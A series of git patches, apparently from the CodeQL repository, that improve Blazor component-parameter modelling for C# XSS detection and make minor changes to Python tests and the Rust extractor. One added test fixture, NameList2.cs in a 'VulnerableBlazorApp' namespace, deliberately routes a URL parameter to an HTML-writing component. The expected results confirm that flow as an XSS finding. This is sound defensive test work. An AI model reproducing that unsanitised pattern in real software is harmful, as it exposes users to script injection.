.../microsoft/aspnetcore/blazor/Xss.expected | 3 ++ .../blazor/remoteFlowSource.expected | 3 ++ 3 files changed, 56 insertions(+) create mode 100644 csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs new file mode 100644 index 00000000000..d27d6f2dcde --- /dev/null +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs @@ -0,0 +1,50 @@ +namespace VulnerableBlazorApp.Components +{ + using System.Collections.Generic; + using Microsoft.AspNetCore.Components; + + [RouteAttribute("/names2/{name?}")] + public partial class NameList2 : Microsoft.AspNetCore.Components.ComponentBase + { + protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder builder) + { + if (Names is not null) + { + builder.OpenElement(0, "div"); + builder.OpenElement(1, "ul"); + foreach (var name in Names) + { + builder.OpenElement(2, "li"); + builder.OpenComponent(3); + builder.AddComponentParameter(4, "TheName", name); + builder.CloseComponent(); + builder.CloseElement(); + } + builder.CloseElement(); + builder.CloseElement(); + } + + builder.OpenElement(5, "div"); + builder.OpenElement(6, "p"); + builder.AddContent(7, "Name: "); + builder.OpenComponent(8); + builder.AddComponentParameter(9, "TheName", Name); + builder.CloseComponent(); + builder.CloseElement(); + } + + [Parameter] + public string Name { get; set; } + + protected override void OnParametersSet() + { + if (Name is not null) + { + Names.Add(Name); + } + } + + + public List Names { get; set; } = new List(); + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected index 951269f2b58..3b9a54fafb3 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected @@ -1,12 +1,15 @@ edges +| NameList2.cs:31:57:31:60 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | provenance | Sink:MaD:149 | | NameList.cs:31:99:31:102 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | provenance | Sink:MaD:149 | nodes | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | semmle.label | access to property UrlParam | | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | semmle.label | access to property QueryParam | | Name.cs:13:53:13:59 | access to property TheName | semmle.label | access to property TheName | +| NameList2.cs:31:57:31:60 | access to property Name : String | semmle.label | access to property Name : String | | NameList.cs:31:99:31:102 | access to property Name : String | semmle.label | access to property Name : String | subpaths #select | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | User-provided value | | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | User-provided value | +| Name.cs:13:53:13:59 | access to property TheName | NameList2.cs:31:57:31:60 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | $@ flows to here and is written to HTML or JavaScript. | NameList2.cs:31:57:31:60 | access to property Name : String | User-provided value | | Name.cs:13:53:13:59 | access to property TheName | NameList.cs:31:99:31:102 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | $@ flows to here and is written to HTML or JavaScript. | NameList.cs:31:99:31:102 | access to property Name : String | User-provided value | diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected index 2a9268cf01e..e1b3724f44d 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected @@ -2,6 +2,9 @@ | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | ASP.NET Core component route parameter | | Components_Pages_TestPage_razor.g.cs:176:1:176:10 | access to property QueryParam | external | | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | external | +| NameList2.cs:31:57:31:60 | access to property Name | ASP.NET Core component route parameter | +| NameList2.cs:41:17:41:20 | access to property Name | ASP.NET Core component route parameter | +| NameList2.cs:43:27:43:30 | access to property Name | ASP.NET Core component route parameter | | NameList.cs:31:99:31:102 | access to property Name | ASP.NET Core component route parameter | | NameList.cs:41:17:41:20 | access to property Name | ASP.NET Core component route parameter | | NameList.cs:43:27:43:30 | access to property Name | ASP.NET Core component route parameter | From d601c26355f27c2079fa38fbec99199cdbc20e77 Mon Sep 17 00:00:00 2001 From: Edward Minnix III Date: Sat, 8 Mar 2025 17:24:49 -0500 Subject: [PATCH 129/282] [change-note] Blazor parameter passing string literal --- .../2025-03-08-blazor-parameter-passing-string-literal.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2025-03-08-blazor-parameter-passing-string-literal.md diff --git a/csharp/ql/lib/change-notes/2025-03-08-blazor-parameter-passing-string-literal.md b/csharp/ql/lib/change-notes/2025-03-08-blazor-parameter-passing-string-literal.md new file mode 100644 index 00000000000..66ebd26f653 --- /dev/null +++ b/csharp/ql/lib/change-notes/2025-03-08-blazor-parameter-passing-string-literal.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Blazor support can now better recognize when a property being set is specified with a string literal, rather than referenced in a `nameof` expression. \ No newline at end of file From 72fb6ed078c3de87871a87a9fe8315f9eb10b4d9 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 28 Mar 2025 11:52:52 +0100 Subject: [PATCH 130/282] Restrict name based property lookup to opened component types --- .../microsoft/aspnetcore/Components.qll | 75 ++++++++++++++++++- 1 file changed, 73 insertions(+), 2 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index 5fb79418c27..8cf5ce659e4 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -122,6 +122,38 @@ private class MicrosoftAspNetCoreComponentsAddComponentParameterMethod extends M } } +/** + * The `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::OpenComponent` method. + */ +private class MicrosoftAspNetCoreComponentsOpenComponentTComponentMethod extends Method { + MicrosoftAspNetCoreComponentsOpenComponentTComponentMethod() { + this.hasFullyQualifiedName("Microsoft.AspNetCore.Components.Rendering", "RenderTreeBuilder", + "OpenComponent`1") and + this.getNumberOfParameters() = 1 + } +} + +/** + * The `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::OpenComponent` method. + */ +private class MicrosoftAspNetCoreComponentsOpenComponentMethod extends Method { + MicrosoftAspNetCoreComponentsOpenComponentMethod() { + this.hasFullyQualifiedName("Microsoft.AspNetCore.Components.Rendering", "RenderTreeBuilder", + "OpenComponent") and + this.getNumberOfParameters() = 2 + } +} + +/** + * The `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::CloseComponent` method. + */ +private class MicrosoftAspNetCoreComponentsCloseComponentMethod extends Method { + MicrosoftAspNetCoreComponentsCloseComponentMethod() { + this.hasFullyQualifiedName("Microsoft.AspNetCore.Components.Rendering", "RenderTreeBuilder", + "CloseComponent") + } +} + private module Sources { private import semmle.code.csharp.security.dataflow.flowsources.Remote @@ -144,6 +176,38 @@ private module Sources { } } +/** + * Holds for matching `RenderTreeBuilder.OpenComponent` and `RenderTreeBuilder.CloseComponent` calls with index `openCallIndex` and `closeCallIndex` respectively + * within the `enclosing` enclosing callabale. The `componentType` is the type of the component that is being opened and closed. + */ +private predicate matchingOpenCloseComponentCalls( + MethodCall openCall, int openCallIndex, MethodCall closeCall, int closeCallIndex, + Callable enclosing, Type componentType +) { + ( + openCall.getTarget().getUnboundDeclaration() instanceof + MicrosoftAspNetCoreComponentsOpenComponentTComponentMethod and + openCall.getTarget().(ConstructedGeneric).getTypeArgument(0) = componentType + or + openCall.getTarget() instanceof MicrosoftAspNetCoreComponentsOpenComponentMethod and + openCall.getArgument(1).(TypeofExpr).getTypeAccess().getTarget() = componentType + ) and + openCall.getEnclosingCallable() = enclosing and + closeCall.getTarget() instanceof MicrosoftAspNetCoreComponentsCloseComponentMethod and + closeCall.getEnclosingCallable() = enclosing and + closeCall.getParent().getParent() = openCall.getParent().getParent() and + openCall.getParent().getIndex() = openCallIndex and + closeCall.getParent().getIndex() = closeCallIndex and + closeCallIndex > openCallIndex and + not exists(int k, MethodCall otherCloseCall | + k in [openCallIndex + 1 .. closeCallIndex - 1] and + otherCloseCall.getTarget() instanceof MicrosoftAspNetCoreComponentsCloseComponentMethod and + otherCloseCall.getEnclosingCallable() = enclosing and + otherCloseCall.getParent().getParent() = openCall.getParent().getParent() and + otherCloseCall.getParent().getIndex() = k + ) +} + private module JumpNodes { /** * A call to `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::AddComponentParameter` which @@ -162,8 +226,15 @@ private module JumpNodes { ( exists(NameOfExpr ne | ne = this.getArgument(1) | result.getAnAccess() = ne.getAccess()) or - exists(string propertyName | propertyName = this.getArgument(1).(StringLiteral).getValue() | - result.hasName(propertyName) + exists( + string propertyName, MethodCall openComponent, int i, MethodCall closeComponent, int j + | + propertyName = this.getArgument(1).(StringLiteral).getValue() and + result.hasName(propertyName) and + matchingOpenCloseComponentCalls(openComponent, i, closeComponent, j, + this.getEnclosingCallable(), result.getDeclaringType()) and + this.getParent().getParent() = openComponent.getParent().getParent() and + this.getParent().getIndex() in [i + 1 .. j - 1] ) ) } From 32448c14bd9253f55afc9d0e92370b598f5dc2d7 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 28 Mar 2025 13:06:36 +0100 Subject: [PATCH 131/282] Adjust expected test file --- .../all-platforms/blazor_net_8/XSS.expected | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected index 204c3194595..dbf056053b3 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected @@ -1,8 +1,18 @@ #select +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value | | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | edges +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/obj/Debug/net8.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:497:59:505:13 | call to method TypeCheck : String | provenance | Src:MaD:2 MaD:3 | +| BlazorTest/obj/Debug/net8.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:497:59:505:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 | +models +| 1 | Sink: Microsoft.AspNetCore.Components; MarkupString; false; MarkupString; (System.String); ; Argument[0]; html-injection; manual | +| 2 | Source: Microsoft.AspNetCore.Components; SupplyParameterFromQueryAttribute; false; ; ; Attribute.Getter; ReturnValue; remote; manual | +| 3 | Summary: Microsoft.AspNetCore.Components.CompilerServices; RuntimeHelpers; false; TypeCheck; (T); ; Argument[0]; ReturnValue; value; manual | nodes +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | semmle.label | access to property Value | | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam | +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String | +| BlazorTest/obj/Debug/net8.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:497:59:505:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | subpaths From 6674288fd2bdb9425e3e64ae4eb83711b096b6c8 Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 28 Mar 2025 15:12:39 +0000 Subject: [PATCH 132/282] Python: Update test cases Adds a comment explaining why we no longer flag the indirect tuple example. Also adds a test case which _would_ be flagged if not for the type annotation. --- .../query-tests/Functions/return_values/functions_test.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/python/ql/test/query-tests/Functions/return_values/functions_test.py b/python/ql/test/query-tests/Functions/return_values/functions_test.py index 24b1943feeb..9f72a7fec60 100644 --- a/python/ql/test/query-tests/Functions/return_values/functions_test.py +++ b/python/ql/test/query-tests/Functions/return_values/functions_test.py @@ -321,7 +321,7 @@ def function_returning_2_tuple(): def function_returning_3_tuple(): return 1,2,3 -def indirectly_returning_different_tuple_sizes(x): +def indirectly_returning_different_tuple_sizes(x): # OK, since we only look at local tuple returns if x: return function_returning_2_tuple() else: @@ -347,3 +347,9 @@ def ok_match2(x): # FP return 0 case _: return 1 + +def ok_tuple_returns_captured_in_type(x: bool) -> tuple[int, ...]: # OK because there is a type annotation present + if x: + return 1, 2 + else: + return 1, 2, 3 From c135af2300efd7944eabf5264144a22f232f1afb Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 25 Mar 2025 14:16:24 +0100 Subject: [PATCH 133/282] Rust: crate_graph: generate 'use' statements for re-exported items --- rust/extractor/src/crate_graph.rs | 122 +++++++++++++++++++++++++++++- 1 file changed, 118 insertions(+), 4 deletions(-) diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index 358e80ff277..fa8cb657db9 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -9,9 +9,13 @@ use chalk_ir::{FloatTy, Safety}; use itertools::Itertools; use ra_ap_base_db::{Crate, RootQueryDb}; use ra_ap_cfg::CfgAtom; -use ra_ap_hir::{DefMap, ModuleDefId, db::HirDatabase}; +use ra_ap_hir::{DefMap, ModuleDefId, PathKind, db::HirDatabase}; use ra_ap_hir::{VariantId, Visibility, db::DefDatabase}; -use ra_ap_hir_def::{AssocItemId, LocalModuleId, data::adt::VariantData, nameres::ModuleData}; +use ra_ap_hir_def::Lookup; +use ra_ap_hir_def::{ + AssocItemId, LocalModuleId, data::adt::VariantData, item_scope::ImportOrGlob, + item_tree::ImportKind, nameres::ModuleData, path::ImportAlias, +}; use ra_ap_hir_def::{HasModule, visibility::VisibilityExplicitness}; use ra_ap_hir_def::{ModuleId, resolver::HasResolver}; use ra_ap_hir_ty::TraitRefExt; @@ -22,6 +26,7 @@ use ra_ap_hir_ty::{Binders, FnPointer}; use ra_ap_hir_ty::{Interner, ProjectionTy}; use ra_ap_ide_db::RootDatabase; use ra_ap_vfs::{Vfs, VfsPath}; + use std::hash::Hasher; use std::{cmp::Ordering, collections::HashMap, path::PathBuf}; use std::{hash::Hash, vec}; @@ -172,19 +177,116 @@ fn emit_module_children( .collect() } +fn emit_reexport( + db: &dyn HirDatabase, + trap: &mut TrapFile, + uses: &mut HashMap>, + import: ImportOrGlob, + name: &str, +) { + let (use_, idx) = match import { + ImportOrGlob::Glob(import) => (import.use_, import.idx), + ImportOrGlob::Import(import) => (import.use_, import.idx), + }; + let def_db = db.upcast(); + let loc = use_.lookup(def_db); + let use_ = &loc.id.item_tree(def_db)[loc.id.value]; + + use_.use_tree.expand(|id, path, kind, alias| { + if id == idx { + let mut path_components = Vec::new(); + match path.kind { + PathKind::Plain => (), + PathKind::Super(0) => path_components.push("self".to_owned()), + PathKind::Super(n) => { + path_components.extend(std::iter::repeat_n("super".to_owned(), n.into())); + } + PathKind::Crate => path_components.push("crate".to_owned()), + PathKind::Abs => path_components.push("".to_owned()), + PathKind::DollarCrate(crate_id) => { + let crate_extra = crate_id.extra_data(db); + let crate_name = crate_extra + .display_name + .as_ref() + .map(|x| x.canonical_name().to_string()); + path_components.push(crate_name.unwrap_or("crate".to_owned())); + } + } + path_components.extend(path.segments().iter().map(|x| x.as_str().to_owned())); + match kind { + ImportKind::Plain => (), + ImportKind::Glob => path_components.push(name.to_owned()), + ImportKind::TypeOnly => path_components.push("self".to_owned()), + }; + + let alias = alias.map(|alias| match alias { + ImportAlias::Underscore => "_".to_owned(), + ImportAlias::Alias(name) => name.as_str().to_owned(), + }); + let key = format!( + "{} as {}", + path_components.join("::"), + alias.as_ref().unwrap_or(&"".to_owned()) + ); + // prevent duplicate imports + if uses.contains_key(&key) { + return; + } + let rename = alias.map(|name| { + let name = Some(trap.emit(generated::Name { + id: trap::TrapId::Star, + text: Some(name), + })); + trap.emit(generated::Rename { + id: trap::TrapId::Star, + name, + }) + }); + let path = make_qualified_path(trap, path_components); + let use_tree = trap.emit(generated::UseTree { + id: trap::TrapId::Star, + is_glob: false, + path, + rename, + use_tree_list: None, + }); + let visibility = emit_visibility(db, trap, Visibility::Public); + uses.insert( + key, + trap.emit(generated::Use { + id: trap::TrapId::Star, + attrs: vec![], + use_tree: Some(use_tree), + visibility, + }) + .into(), + ); + } + }); +} + fn emit_module_items( db: &dyn HirDatabase, module: &ModuleData, trap: &mut TrapFile, ) -> Vec> { let mut items = Vec::new(); + let mut uses = HashMap::new(); let item_scope = &module.scope; for (name, item) in item_scope.entries() { let def = item.filter_visibility(|x| matches!(x, ra_ap_hir::Visibility::Public)); + if let Some(ra_ap_hir_def::per_ns::Item { + def: _, + vis: _, + import: Some(import), + }) = def.values + { + emit_reexport(db, trap, &mut uses, import, name.as_str()); + } if let Some(ra_ap_hir_def::per_ns::Item { def: value, vis, - import: _, + import: None, }) = def.values { match value { @@ -203,10 +305,21 @@ fn emit_module_items( _ => (), } } + if let Some(ra_ap_hir_def::per_ns::Item { + def: _, + vis: _, + import: Some(import), + }) = def.types + { + // TODO: handle ExternCrate as well? + if let Some(import) = import.import_or_glob() { + emit_reexport(db, trap, &mut uses, import, name.as_str()); + } + } if let Some(ra_ap_hir_def::per_ns::Item { def: type_id, vis, - import: _, + import: None, }) = def.types { match type_id { @@ -220,6 +333,7 @@ fn emit_module_items( } } } + items.extend(uses.values()); items } From d84baaa0f800e85b330e2f9d2af8b6dad6c538d5 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 25 Mar 2025 14:19:10 +0100 Subject: [PATCH 134/282] Rust: implement Use::toString --- rust/ql/.generated.list | 2 -- rust/ql/.gitattributes | 2 -- .../codeql/rust/elements/internal/UseImpl.qll | 6 ++++-- .../rust/elements/internal/UseTreeImpl.qll | 18 ++++++++++++++++-- .../canonical_path/canonical_paths.expected | 4 ++-- .../canonical_paths.expected | 4 ++-- .../CONSISTENCY/AstConsistency.expected | 4 ++-- .../MacroItems/MacroItems_getItem.expected | 2 +- .../generated/UseTree/UseTree.expected | 14 +++++++------- .../generated/UseTree/UseTree_getPath.expected | 14 +++++++------- .../UseTree/UseTree_getRename.expected | 2 +- .../UseTree/UseTree_getUseTreeList.expected | 2 +- 12 files changed, 43 insertions(+), 31 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 79d9eabff3a..89138a2b01b 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -440,9 +440,7 @@ lib/codeql/rust/elements/internal/UseBoundGenericArgImpl.qll 2f90bfd5e43113da115 lib/codeql/rust/elements/internal/UseBoundGenericArgsConstructor.qll 84d4a959d098fcd1713cb169e15b4945d846121701d2c5709b11e19202c21f2b 93113c92be9bc9f0b8530c308fe482dfeddc7dc827fc44049cecb3eab28df731 lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll 43caeeb43b4b9480bd586f58124ef3b14980ba61c47326799ca7cb98dd3b7394 71936dd5dd0428ab24c697232770bc7309c22e5de6a17db23443b78f245078a4 lib/codeql/rust/elements/internal/UseConstructor.qll a4f790795e18abc29a50d6fbaa0db64cba781e3259a42cbf0468c24ac66b63e7 2fa288f073ac094a838c11f091def2c790b347b6a1b79407c11b10c73d6bff57 -lib/codeql/rust/elements/internal/UseImpl.qll ba779517c3c928ab6e794360b6344829e84ec6da5e1de1b03b4eaf8bdae58ce9 0f4ead9eecb584eb9827502276ffe8cb1da0d2fa4b8f660d2afc26ac4e0fba86 lib/codeql/rust/elements/internal/UseTreeConstructor.qll 3e6e834100fcc7249f8a20f8bd9debe09b705fcf5a0e655537e71ac1c6f7956b cdbc84b8f1b009be1e4a7aaba7f5237823cea62c86b38f1794aad97e3dfcf64b -lib/codeql/rust/elements/internal/UseTreeImpl.qll d478495a62e466fa4f443ffcf0d5235a7278fa9e8565267e73bb78210b7d54a1 76b71392b12f1bd7e66dd9e2902f48a1c27dce01fadad3a23e5a680d64fa0d49 lib/codeql/rust/elements/internal/UseTreeListConstructor.qll 973577da5d7b58eb245f108bd1ae2fecc5645f2795421dedf7687b067a233003 f41e5e3ffcb2a387e5c37f56c0b271e8dc20428b6ff4c63e1ee42fcfa4e67d0a lib/codeql/rust/elements/internal/UseTreeListImpl.qll 6cac5242f1219df0fe9b3c139db8cc075a2fde618614ca56de2c856130a8ebaa d2ec917055a45f4d07d4ea6dff14298925ae323b165a5bcb6e906f7aad463f82 lib/codeql/rust/elements/internal/VariantConstructor.qll 0297d4a9a9b32448d6d6063d308c8d0e7a067d028b9ec97de10a1d659ee2cfdd 6a4bee28b340e97d06b262120fd39ab21717233a5bcc142ba542cb1b456eb952 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index bd0d20063fa..2c66ca19d95 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -442,9 +442,7 @@ /lib/codeql/rust/elements/internal/UseBoundGenericArgsConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll linguist-generated /lib/codeql/rust/elements/internal/UseConstructor.qll linguist-generated -/lib/codeql/rust/elements/internal/UseImpl.qll linguist-generated /lib/codeql/rust/elements/internal/UseTreeConstructor.qll linguist-generated -/lib/codeql/rust/elements/internal/UseTreeImpl.qll linguist-generated /lib/codeql/rust/elements/internal/UseTreeListConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/UseTreeListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/VariantConstructor.qll linguist-generated diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll index 3b45ab46439..5c2567fc3d7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll @@ -1,4 +1,3 @@ -// generated by codegen, remove this comment if you wish to edit this file /** * This module provides a hand-modifiable wrapper around the generated class `Use`. * @@ -12,11 +11,14 @@ private import codeql.rust.elements.internal.generated.Use * be referenced directly. */ module Impl { + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A Use. For example: * ```rust * todo!() * ``` */ - class Use extends Generated::Use { } + class Use extends Generated::Use { + override string toStringImpl() { result = "use " + this.getUseTree() } + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index 2820c2ba6d7..ef1be77ef78 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -1,4 +1,3 @@ -// generated by codegen, remove this comment if you wish to edit this file /** * This module provides a hand-modifiable wrapper around the generated class `UseTree`. * @@ -12,6 +11,7 @@ private import codeql.rust.elements.internal.generated.UseTree * be referenced directly. */ module Impl { + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A UseTree. For example: * ```rust @@ -21,5 +21,19 @@ module Impl { * use std::collections::{self, HashMap, HashSet}; * ``` */ - class UseTree extends Generated::UseTree { } + class UseTree extends Generated::UseTree { + override string toStringImpl() { + result = strictconcat(int i | | this.toStringPart(i) order by i) + } + + private string toStringPart(int index) { + result = this.getPath().toStringImpl() and index = 0 + or + result = "::{...}" and this.hasUseTreeList() and index = 1 + or + result = "::*" and this.isGlob() and index = 2 + or + result = " as " + this.getRename().getName().getText() and index = 3 + } + } } diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected index c6dae9ae3fc..c7f85fb86f8 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected @@ -1,5 +1,5 @@ canonicalPaths -| anonymous.rs:1:1:1:26 | Use | None | None | +| anonymous.rs:1:1:1:26 | use ...::Trait | None | None | | anonymous.rs:3:1:32:1 | fn canonicals | repo::test | crate::anonymous::canonicals | | anonymous.rs:4:5:4:23 | struct OtherStruct | None | None | | anonymous.rs:6:5:8:5 | trait OtherTrait | None | None | @@ -33,7 +33,7 @@ canonicalPaths | regular.rs:34:1:38:1 | enum MyEnum | repo::test | crate::regular::MyEnum | | regular.rs:40:1:46:1 | fn enum_qualified_usage | repo::test | crate::regular::enum_qualified_usage | | regular.rs:48:1:55:1 | fn enum_unqualified_usage | repo::test | crate::regular::enum_unqualified_usage | -| regular.rs:51:5:51:18 | Use | None | None | +| regular.rs:51:5:51:18 | use MyEnum::* | None | None | | regular.rs:57:1:63:1 | fn enum_match | repo::test | crate::regular::enum_match | resolvedPaths | anonymous.rs:27:17:27:30 | OtherStruct {...} | None | None | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected index 6a19610d76f..ec6b4bad150 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected @@ -1,5 +1,5 @@ canonicalPaths -| anonymous.rs:4:1:4:26 | Use | None | None | +| anonymous.rs:4:1:4:26 | use ...::Trait | None | None | | anonymous.rs:6:1:35:1 | fn canonicals | None | None | | anonymous.rs:7:5:7:23 | struct OtherStruct | None | None | | anonymous.rs:9:5:11:5 | trait OtherTrait | None | None | @@ -33,7 +33,7 @@ canonicalPaths | regular.rs:37:1:41:1 | enum MyEnum | None | None | | regular.rs:43:1:49:1 | fn enum_qualified_usage | None | None | | regular.rs:51:1:58:1 | fn enum_unqualified_usage | None | None | -| regular.rs:54:5:54:18 | Use | None | None | +| regular.rs:54:5:54:18 | use MyEnum::* | None | None | | regular.rs:60:1:66:1 | fn enum_match | None | None | resolvedPaths | anonymous.rs:30:17:30:30 | OtherStruct {...} | None | None | diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected index 65117407456..1e47287a293 100644 --- a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected +++ b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected @@ -2,6 +2,7 @@ noLocation | file://:0:0:0:0 | ... .unwrap(...) | | file://:0:0:0:0 | ...: ... | | file://:0:0:0:0 | ...::Path | +| file://:0:0:0:0 | ...::Path | | file://:0:0:0:0 | ...::path | | file://:0:0:0:0 | ArgList | | file://:0:0:0:0 | ArgList | @@ -20,8 +21,6 @@ noLocation | file://:0:0:0:0 | RefTypeRepr | | file://:0:0:0:0 | RetTypeRepr | | file://:0:0:0:0 | StmtList | -| file://:0:0:0:0 | Use | -| file://:0:0:0:0 | UseTree | | file://:0:0:0:0 | fn get_parent | | file://:0:0:0:0 | get_parent | | file://:0:0:0:0 | parent | @@ -38,4 +37,5 @@ noLocation | 